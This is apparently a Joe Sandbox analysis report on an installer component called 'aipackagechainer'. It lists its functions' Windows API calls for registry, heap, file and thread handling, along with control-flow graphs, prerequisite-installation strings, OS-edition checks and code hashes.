                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Find$Close$AddressFileFirstHandleModuleProc
                                                                                                                                                                                                                                                  • String ID: !
                                                                                                                                                                                                                                                  • API String ID: 3469240197-518105870
                                                                                                                                                                                                                                                  • Opcode ID: 5ca8a89e439aed4221c80f64e26c81ed552d132c4935452b952d65451f6e3e7a
                                                                                                                                                                                                                                                  • Instruction ID: df0713131dac76b8af2161d8f0ae8a19d48f1007e32fa9d9893fd4e195ce366c
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5ca8a89e439aed4221c80f64e26c81ed552d132c4935452b952d65451f6e3e7a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: AE81B230D15616DBDB28DF28C888BA9F7B5BF45320F1483E9D42997291DB309DA5CF90
                                                                                                                                                                                                                                                  Function 002347C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNELBASE(?,?), ref: 0023485D
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,?), ref: 002348BC
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Find$AllocateCloseFileFirstHeap
                                                                                                                                                                                                                                                  • String ID: !
                                                                                                                                                                                                                                                  • API String ID: 1673784098-518105870
                                                                                                                                                                                                                                                  • Opcode ID: ae2762581c66410f2ced8bb720d49590fb747d6dd6eda9eb06cf2dfc5660eca9
                                                                                                                                                                                                                                                  • Instruction ID: 2e0367d31728bdfb239684a76610ae48aeeb9ef639468a9cd92981efaa127682
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ae2762581c66410f2ced8bb720d49590fb747d6dd6eda9eb06cf2dfc5660eca9
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9531C1B1915255DBDB24EF14DC48BAAB7B4FF05324F2082AAE819A3380D7706D64CF91
                                                                                                                                                                                                                                                  Function 0027A15A Relevance: 5.0, APIs: 4, Instructions: 41memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(00000008,00000008,?,0024711E), ref: 0027A15F
                                                                                                                                                                                                                                                  • HeapAlloc.KERNEL32(00000000), ref: 0027A166
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0027A1AC
                                                                                                                                                                                                                                                  • HeapFree.KERNEL32(00000000), ref: 0027A1B3
                                                                                                                                                                                                                                                    • Part of subcall function 00279FF8: GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,0027A1A2), ref: 0027A01C
                                                                                                                                                                                                                                                    • Part of subcall function 00279FF8: HeapAlloc.KERNEL32(00000000,?,0027A1A2), ref: 0027A023
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Heap$Process$Alloc$Free
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1864747095-0
                                                                                                                                                                                                                                                  • Opcode ID: d1d87b9e58848577b6c220a8b2909f61c061dbb0917c5320f8f0c98354882b07
                                                                                                                                                                                                                                                  • Instruction ID: 16928cecea9c62c352b576e44038efb9e2f474ba23ec54f712db84f58e137bfa
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d1d87b9e58848577b6c220a8b2909f61c061dbb0917c5320f8f0c98354882b07
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: ECF0E03211471297FF212B787C1DA6F3A59AFC67A1B12C429F45ED6150DE70CC518762
                                                                                                                                                                                                                                                  Function 0024BFE0 Relevance: 4.9, APIs: 3, Instructions: 388registryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • RegCreateKeyA.ADVAPI32(80000001,00000001,?), ref: 0024C04E
                                                                                                                                                                                                                                                  • RegSetValueExA.KERNELBASE(?,?,00000000,00000001,?,?), ref: 0024C066
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0024C324
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Heap$AllocateCreateOpenProcessValue
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1583728613-0
                                                                                                                                                                                                                                                  • Opcode ID: c637e8878481cfe3924b9b3dcc919e50d6e493fb248caa2afdafc69721050e9b
                                                                                                                                                                                                                                                  • Instruction ID: b731795df275cf2c3f41390a9df5f5bc314882b4697bc31b2f92a16055fc5d4b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c637e8878481cfe3924b9b3dcc919e50d6e493fb248caa2afdafc69721050e9b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A4D1A272A112099FDB04DFA8CC44BAEFBB9FF49320F10826AE815E7391D7759914CB90
                                                                                                                                                                                                                                                  Function 0025E870 Relevance: 1.6, APIs: 1, Instructions: 95comCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CoCreateInstance.OLE32(002B9F6C,00000000,00000001,002C1584,000000B0,4938EAB5,00000098,00000000,?,000000A0,-00000010,002AA0DC,000000FF), ref: 0025E9C9
                                                                                                                                                                                                                                                    • Part of subcall function 0027C537: EnterCriticalSection.KERNEL32(002D7FD4,?,00000000,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5,?,00000000), ref: 0027C542
                                                                                                                                                                                                                                                    • Part of subcall function 0027C537: LeaveCriticalSection.KERNEL32(002D7FD4,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5,?,00000000), ref: 0027C57F
                                                                                                                                                                                                                                                    • Part of subcall function 0027C4ED: EnterCriticalSection.KERNEL32(002D7FD4,00000000,?,00213657,002D88D0,002ACD30), ref: 0027C4F7
                                                                                                                                                                                                                                                    • Part of subcall function 0027C4ED: LeaveCriticalSection.KERNEL32(002D7FD4,?,00213657,002D88D0,002ACD30), ref: 0027C52A
                                                                                                                                                                                                                                                    • Part of subcall function 0027C4ED: RtlWakeAllConditionVariable.NTDLL ref: 0027C5A1
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSection$EnterLeave$ConditionCreateInstanceVariableWake
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3308385226-0
                                                                                                                                                                                                                                                  • Opcode ID: d2feb338a4ac5f9b3ec620760c38d69f7d030fd33cde6a7771355bef2f8343fd
                                                                                                                                                                                                                                                  • Instruction ID: a68f3a553663f6ef53bb4c32536c71d577e2ea1e2a2203b984030a072f1082de
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d2feb338a4ac5f9b3ec620760c38d69f7d030fd33cde6a7771355bef2f8343fd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: AB410EB0A10340EFEB14DF28EC89F4AB7A0FB05711F244A69E9049B3D1C3B66D54CB5A
                                                                                                                                                                                                                                                  Function 0022AF50 Relevance: 46.3, APIs: 16, Strings: 10, Instructions: 755threadregistrysynchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 452 22af50-22af8e call 213540 455 22b8c0-22b8c5 call 213200 452->455 456 22af94-22afb5 call 21c3e0 452->456 458 22b8ca-22b954 call 213200 call 21bfe0 call 24f190 455->458 465 22afb7-22afbf call 22ca50 456->465 466 22afc4-22b011 call 246770 456->466 480 22b956-22b959 458->480 481 22b95e-22b96d 458->481 465->466 472 22b013-22b016 466->472 473 22b01b-22b01f 466->473 472->473 475 22b025-22b033 473->475 476 22b1cc 473->476 478 22b044-22b0b7 call 247010 CreateThread 475->478 479 22b035-22b03f call 2416d0 475->479 482 22b1ce-22b1e8 476->482 494 22b0c2-22b0d9 call 235640 478->494 495 22b0b9-22b0bf GetLastError 478->495 493 22b120-22b127 479->493 480->481 485 22b869-22b86d 482->485 486 22b1ee-22b1fc 482->486 489 22b86f-22b877 RegDeleteKeyA 485->489 490 22b87d-22b89f 485->490 491 22b202 call 22aba0 486->491 492 22b864 486->492 489->490 496 22b8a1-22b8a4 490->496 497 22b8a9-22b8bd 490->497 503 22b207 491->503 501 22b866 492->501 499 22b16a-22b171 493->499 500 22b129-22b12b 493->500 494->493 507 22b0db-22b0e9 WaitForSingleObject 494->507 495->494 496->497 499->476 505 22b173-22b17c call 213540 499->505 504 22b130-22b132 500->504 501->485 503->501 504->458 508 22b138-22b13a 504->508 505->455 514 22b182-22b1c2 call 214ba0 call 238250 505->514 511 22b117-22b11a CloseHandle 507->511 512 22b0eb-22b101 GetExitCodeThread 507->512 508->458 513 22b140-22b14a 508->513 511->493 512->511 515 22b103-22b10a 512->515 516 22b150-22b153 513->516 517 22b20c-22b248 call 2483a0 call 24ca00 call 240d70 513->517 514->476 534 22b1c4-22b1c7 514->534 515->511 519 22b10c-22b111 TerminateThread 515->519 516->517 520 22b159-22b15c 516->520 532 22b320-22b329 call 240e60 517->532 533 22b24e-22b255 517->533 519->511 520->517 523 22b162-22b168 520->523 523->499 523->504 541 22b5da-22b5eb 532->541 542 22b32f-22b336 532->542 536 22b2b1-22b2f1 call 24ed60 call 24cf30 call 24dd20 call 24e6f0 533->536 537 22b257-22b260 call 213540 533->537 534->476 536->541 605 22b2f7-22b310 call 24cd00 call 24eb60 536->605 537->455 550 22b266-22b2a7 call 214ba0 call 238250 537->550 545 22b5f1-22b5fa call 213540 541->545 546 22b68a 541->546 547 22b392-22b39e 542->547 548 22b338-22b341 call 213540 542->548 545->455 567 22b600-22b63e call 214ba0 * 2 545->567 554 22b68d-22b694 546->554 552 22b3a0-22b3a7 547->552 553 22b3fe 547->553 548->455 572 22b347-22b388 call 214ba0 call 238250 548->572 550->536 607 22b2a9-22b2ac 550->607 559 22b3ba-22b3f2 call 237780 call 228870 552->559 560 22b3a9-22b3b5 call 215e60 call 23cf80 552->560 557 22b401-22b48b call 25e870 call 24ed60 GetActiveWindow 553->557 561 22b7e7-22b7eb 554->561 562 22b69a-22b6a1 554->562 608 22b4c4-22b53e call 27a25c GetCurrentThreadId EnterCriticalSection LeaveCriticalSection DialogBoxParamW 557->608 609 22b48d-22b497 call 27a15a 557->609 559->557 612 22b3f4-22b3fc 559->612 560->559 574 22b7fd 561->574 575 22b7ed-22b7fb 561->575 569 22b736-22b73d 562->569 570 22b6a7-22b6b0 call 213540 562->570 634 22b640-22b649 567->634 579 22b743-22b74a 569->579 580 22b7d5-22b7dc 569->580 570->455 602 22b6b6-22b6ed call 214ba0 570->602 572->547 631 22b38a-22b38d 572->631 584 22b800-22b851 call 21bfe0 call 24f190 574->584 575->584 579->580 591 22b750-22b759 call 213540 579->591 580->561 593 22b7de-22b7e5 580->593 584->482 626 22b857-22b85f 584->626 591->455 618 22b75f-22b78e call 214ba0 591->618 593->561 593->575 638 22b6f0-22b6f9 602->638 605->541 640 22b316-22b31b 605->640 607->536 639 22b545-22b55a CloseHandle 608->639 609->608 633 22b499-22b4bf SetLastError CloseHandle 609->633 612->557 649 22b790-22b799 618->649 626->482 631->547 652 22b568-22b583 633->652 634->634 642 22b64b-22b67e call 214ba0 call 238250 634->642 638->638 644 22b6fb-22b72c call 214ba0 call 238250 638->644 645 22b566 639->645 646 22b55c-22b55f 639->646 640->541 642->554 664 22b680-22b688 642->664 644->569 671 22b72e-22b731 644->671 645->652 651 22b561-22b564 646->651 646->652 649->649 655 22b79b-22b7cb call 214ba0 call 238250 649->655 651->652 657 22b585-22b586 CloseHandle 652->657 658 22b588-22b59a 652->658 655->580 676 22b7cd-22b7d0 655->676 657->658 662 22b5ae-22b5b7 658->662 663 22b59c-22b5a1 658->663 668 22b5b9-22b5bb 662->668 669 22b5bf-22b5d2 662->669 663->662 667 22b5a3-22b5aa 663->667 664->554 667->662 668->669 669->541 672 22b5d4-22b5d5 call 27a206 669->672 671->569 672->541 676->580
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                    • Part of subcall function 0021C3E0: FindResourceW.KERNEL32(00000000,?,00000006,00000000,?,?,?,00246B79,?), ref: 0021C41D
                                                                                                                                                                                                                                                    • Part of subcall function 0021C3E0: WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,?,00246B79,?), ref: 0021C44E
                                                                                                                                                                                                                                                    • Part of subcall function 0021C3E0: WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,?,?,00000000,00000000,00000000,?,?,00246B79,?), ref: 0021C485
                                                                                                                                                                                                                                                  • CreateThread.KERNELBASE(00000000,00000000,Function_00047DF0,00000000,00000000,00000000), ref: 0022B0AC
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0022B0B9
                                                                                                                                                                                                                                                    • Part of subcall function 002483A0: GetCurrentThreadId.KERNEL32 ref: 002483A9
                                                                                                                                                                                                                                                    • Part of subcall function 002483A0: DestroyWindow.USER32(00000005), ref: 002483B8
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,?), ref: 0022B0DF
                                                                                                                                                                                                                                                  • GetExitCodeThread.KERNEL32(?,00000000), ref: 0022B0F9
                                                                                                                                                                                                                                                  • TerminateThread.KERNEL32(?,00000000), ref: 0022B111
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0022B11A
                                                                                                                                                                                                                                                  • GetActiveWindow.USER32 ref: 0022B47E
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: InitializeCriticalSection.KERNEL32(002D8AF4,4938EAB5), ref: 0023828C
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: EnterCriticalSection.KERNEL32(?,4938EAB5), ref: 00238299
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: WriteFile.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 002382CB
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: FlushFileBuffers.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 002382D4
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,002BDB5C,00000001,?,00000000,00240B71,00000000), ref: 00238356
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: FlushFileBuffers.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 0023835F
                                                                                                                                                                                                                                                  • SetLastError.KERNEL32(0000000E), ref: 0022B49B
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0022B4B6
                                                                                                                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 0022B4D4
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(002DACD0), ref: 0022B4F1
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(002DACD0), ref: 0022B514
                                                                                                                                                                                                                                                  • DialogBoxParamW.USER32(000000D8,00000000,Function_00038720,00000000), ref: 0022B531
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0022B54E
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0022B586
                                                                                                                                                                                                                                                  • RegDeleteKeyA.ADVAPI32(80000001,?), ref: 0022B877
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Thread$CloseCriticalFileHandleSection$BuffersByteCharCurrentEnterErrorFlushLastMultiWideWindowWrite$ActiveCodeCreateDeleteDestroyDialogExitFindHeapInitializeLeaveObjectParamProcessResourceSingleTerminateWait
                                                                                                                                                                                                                                                  • String ID: Reboot in Progress=$ Reboot was refused=$ Reboot was required=$After running prerequisites we have:$InterbootContext$No prerequisite must be installed.$Starting installing prerequisites in basic UI mode.$Starting installing prerequisites in silent mode.$false$true
                                                                                                                                                                                                                                                  • API String ID: 2893576875-478559164
                                                                                                                                                                                                                                                  • Opcode ID: 89581fc44fa06c9cb3c27c0838e36e64c40d219efe211229a0f85b71cd48017b
                                                                                                                                                                                                                                                  • Instruction ID: d888499484612323816b6b22735272ee1670b440e9764e7e7e8d19019f926f39
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 89581fc44fa06c9cb3c27c0838e36e64c40d219efe211229a0f85b71cd48017b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3B62ED7091024AEFDB15DFA8D848BDDBBF4AF05314F1482A9F819AB291DB709E18CF51
                                                                                                                                                                                                                                                  Function 0023C6E0 Relevance: 40.5, APIs: 4, Strings: 19, Instructions: 220registryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 677 23c6e0-23c758 RegOpenKeyExW 679 23c9c2-23c9db 677->679 680 23c75e-23c78f RegQueryValueExW 677->680 681 23c9ee-23ca09 call 27c18f 679->681 682 23c9dd-23c9e4 RegCloseKey 679->682 683 23c791-23c7a3 call 2161e0 680->683 684 23c7df-23c80a RegQueryValueExW 680->684 682->681 693 23c7a5-23c7b2 683->693 694 23c7b4-23c7cb call 2161e0 683->694 684->679 687 23c810-23c821 684->687 690 23c823-23c82b 687->690 691 23c82d-23c82f 687->691 690->690 690->691 691->679 692 23c835-23c83c 691->692 695 23c840-23c84e call 2161e0 692->695 696 23c7da 693->696 701 23c7d2-23c7d8 694->701 702 23c7cd 694->702 703 23c850-23c854 695->703 704 23c859-23c867 call 2161e0 695->704 696->684 701->696 702->701 705 23c994 703->705 709 23c872-23c880 call 2161e0 704->709 710 23c869-23c86d 704->710 708 23c99b-23c9a8 705->708 711 23c9ba-23c9bc 708->711 712 23c9aa 708->712 716 23c882-23c886 709->716 717 23c88b-23c899 call 2161e0 709->717 710->705 711->679 711->695 714 23c9b0-23c9b8 712->714 714->711 714->714 716->705 720 23c8a4-23c8b2 call 2161e0 717->720 721 23c89b-23c89f 717->721 724 23c8b4-23c8b8 720->724 725 23c8bd-23c8cb call 2161e0 720->725 721->705 724->705 728 23c8d6-23c8e4 call 2161e0 725->728 729 23c8cd-23c8d1 725->729 732 23c8e6-23c8ea 728->732 733 23c8ef-23c8fd call 2161e0 728->733 729->705 732->705 736 23c909-23c917 call 2161e0 733->736 737 23c8ff-23c904 733->737 741 23c920-23c92e call 2161e0 736->741 742 23c919-23c91e 736->742 738 23c991 737->738 738->705 745 23c930-23c935 741->745 746 23c937-23c945 call 2161e0 741->746 742->738 745->738 749 23c947-23c94c 746->749 750 23c94e-23c95c call 2161e0 746->750 749->738 753 23c965-23c973 call 2161e0 750->753 754 23c95e-23c963 750->754 757 23c975-23c97a 753->757 758 23c97c-23c98a call 2161e0 753->758 754->738 757->738 758->708 761 23c98c 758->761 761->738
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RegOpenKeyExW.KERNELBASE(80000002,SYSTEM\CurrentControlSet\Control\ProductOptions,00000000,00020119,00000000), ref: 0023C750
                                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(00000000,ProductType,00000000,00000000,?), ref: 0023C78B
                                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(00000000,ProductSuite,00000000,00000000,?,?), ref: 0023C806
                                                                                                                                                                                                                                                  • RegCloseKey.KERNELBASE(00000000), ref: 0023C9DE
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: QueryValue$CloseOpen
                                                                                                                                                                                                                                                  • String ID: BackOffice$Blade$CommunicationServer$Compute Server$DataCenter$Embedded(Restricted)$EmbeddedNT$Enterprise$Personal$ProductSuite$ProductType$SYSTEM\CurrentControlSet\Control\ProductOptions$Security Appliance$ServerNT$Small Business$Small Business(Restricted)$Storage Server$Terminal Server$WinNT
                                                                                                                                                                                                                                                  • API String ID: 1586453840-3149529848
                                                                                                                                                                                                                                                  • Opcode ID: a9e2c11f8f4bbfd1137ef26c3a9d227f9e81a838b6e25b7ae3d5aee293fae0eb
                                                                                                                                                                                                                                                  • Instruction ID: 6bd3429c16334684b46e9c2abf0821e0aced5639b8d63dbe4377de7f580a11bc
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a9e2c11f8f4bbfd1137ef26c3a9d227f9e81a838b6e25b7ae3d5aee293fae0eb
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A171D3B07303199ADF219F20CC447FA73A9AB50784F314475E946BB682FA74DEB58B41
                                                                                                                                                                                                                                                  Function 0023C360 Relevance: 37.0, APIs: 12, Strings: 9, Instructions: 224registrylibraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 762 23c360-23c3d6 RegOpenKeyExW 764 23c699-23c6b2 762->764 765 23c3dc-23c43d RegQueryValueExW * 2 762->765 768 23c6c5-23c6de call 27c18f 764->768 769 23c6b4-23c6bb RegCloseKey 764->769 766 23c49b-23c4dc RegQueryValueExW 765->766 767 23c43f-23c471 RegQueryValueExW 765->767 770 23c507 766->770 771 23c4de-23c505 call 216130 766->771 767->766 773 23c473-23c47b 767->773 769->768 776 23c50d-23c515 770->776 771->776 773->773 777 23c47d-23c480 773->777 779 23c517-23c525 776->779 780 23c52a-23c555 RegQueryValueExW 776->780 777->766 781 23c482-23c495 777->781 779->780 782 23c557-23c576 call 216130 780->782 783 23c57b-23c5a6 RegQueryValueExW 780->783 781->766 782->783 785 23c5a8-23c5b7 783->785 786 23c5fd-23c610 783->786 790 23c5d3-23c5e1 785->790 791 23c5b9-23c5c2 785->791 787 23c612-23c626 call 27c537 786->787 788 23c659-23c661 786->788 787->788 801 23c628-23c656 GetModuleHandleW GetProcAddress call 27c4ed 787->801 793 23c663-23c67f GetCurrentProcess IsWow64Process 788->793 794 23c68d 788->794 796 23c5e3-23c5eb 790->796 797 23c5ed-23c5f8 790->797 795 23c5c4-23c5d1 791->795 793->794 799 23c681-23c68b 793->799 800 23c68f-23c694 call 23c6e0 794->800 795->790 795->795 796->796 796->797 797->786 799->800 800->764 801->788
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 0023C3CE
                                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(00000000,CurrentMajorVersionNumber,00000000,00000000,?,?), ref: 0023C415
                                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(00000000,CurrentMinorVersionNumber,00000000,00000000,?,00000004), ref: 0023C434
